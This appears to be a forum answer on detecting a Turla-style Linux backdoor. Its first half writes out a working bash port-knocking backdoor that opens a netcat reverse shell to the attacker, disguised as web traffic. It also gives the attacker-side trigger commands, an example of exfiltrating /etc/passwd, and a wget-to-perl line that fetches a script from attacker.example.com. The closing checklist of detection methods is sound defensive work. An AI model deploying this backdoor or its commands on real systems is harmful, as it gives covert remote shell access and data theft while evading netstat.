How this work:
Short intro
In order to find a way to detect them, I've strongly worked around
concept and methods.
For this, I quickly wrote a little bash script working in approx same way.
From there and with some additional knowledge about Un*x concepts,
I post my checklist which could help to find this working trojan in any system.
Bash re-written Turla knock-door
In order to understand how this work, I wrote this:
(This have to be run on target host, by some remote exploit, viruses or else.)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
This is not totally undetectable but...
Features
- Totally undetectable by using
netstat
, while staying listen for attacker's connexions.
- Use [In->Out] as [RANDOM->80] tcp ports to make connection look like any surf connection.
- Wait for specific IP (hashed, so not readable) on local port 22, without using promiscuous mode nor requiring root privilege
- Once detected an incomming connection from the specific IP (Knock!), this open a connection to this IP, on port 80 to look like a surf connection and offer a bash, back on this connection.
Note: Real trojan could use SSL and real HTTP Headers in order to work through proxy too!!
This accept 4 arguments:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
is hash of salted attacker's IP. Could be rendered by using md5sum <<<SaltMyIP192.168.1.31
(Salt could be changed in script).
KnockDoorPort -> bport
is any already binded port, used on target host (22 for sample if target serve SSH, but any opened port could be used)
myPort -> rport
is local attacker's port used for incomming connection (80 to look like outgoing http connection. Of course attacker have to be root on his host!)
-i
flag could be used to run bash
interactively
Step of infection
First step is to run this script by using any remote exploit, like shellshock
or any buffer-overflow.
Second, attacker have to know target's IP, in order to send a knock door
on port 22
Use from attacker's IP (as root for listening on tcp port 80), wait for target's incomming connection.
You're logger in a shell on target!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Sample:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
or
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
Not so easy to detect
While the script stay running on target host, and no attacker's connection are open, the running script is not visible by using netcat
.
Knock
are done once on port 22 where having a lot of connection fail is regular. Real shell connection look like any outgoing http connection.
Answers:
-
How do linux machines get infected
This is a trojan, so this question does not really a matter... (see Shellshock, for sample)
-
Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)
No, one of the goal of this is to permit attacker to search for a way of doing privilege escalation.
-
Where does the malware code "live" on the infected machine
Everywhere and nowhere: If you run this as an attachment, you may know where you've been stored them. If it's run from a remote exploit, they could delete the binary once run.
If Turla is a binary (C written), thay have to be stored somewhere in your Un*x system, with executable flags set in order to be run. Recent filesystem do permit to delete them after running, but inode have to stay untouched!
This could be revealed be searching for binaries that run in your system but is located in standard PATH
.
If trojan is a script, only the binary have to be linked in filesystem, so the script could be deleted or even run as STDIN
and not stored at all.
wget -qO - http://attacker.example.com/virus.pl | perl
-
plus any other interesting details
Please try my bash script...
Checklist (added: 2015-02-04)
Search for forked pids (where Parent Pid == 1)
grep PPid:\\s1$ /proc/*/status
Search for process that don't run binary from PATH
for pid in $(ps axho pid);do
readlink /proc/$pid/exe |
sed 's/\/[^\/]*$//'|
grep -q "^${PATH//:/$\|^}$" ||
printf "%10d %-16s %s\n" $pid "$(
sed 's/Name:[\t ]*//;q' /proc/$pid/status
)" "$(
readlink /proc/$pid/exe
)"
done
Search for process running for a long time
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
Script: Search for process making sort of hidding: compare exe
and command line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
printf "%10d %-40s %s\n" $pid "$(
readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
done
Using apparmor
, you could watch for process accessing tcp stack (and/or udp stack).
Using tcpdump
, there is a strong work, but an efficient solution:
Watch for outgoing connection wich make any kind of request, become an answer not necessarly immediately after, but send next request immediately after recieving first answer, then don't care about last request's answer: will quit when recieving exit
directive, saying something like logout.
, wich could by driven as the last http request of current session, but close before recieving any http response.
In fact, you have to find an outgoing connection where data exchanges don't match regular scheme of outgoing connection but an hybrid scheme of server-start - incoming connection - server-stop.
Of course, this have to be trapped because no connection are permanently open.
Making system calls statistics (using apparmor)
thanks to alphanet for this idea
Make stats for each running process and
Submit them to a bayesian tool to compute regular profiles
In order to become alerted when a new process don't match regular profiles (or even when a running process change).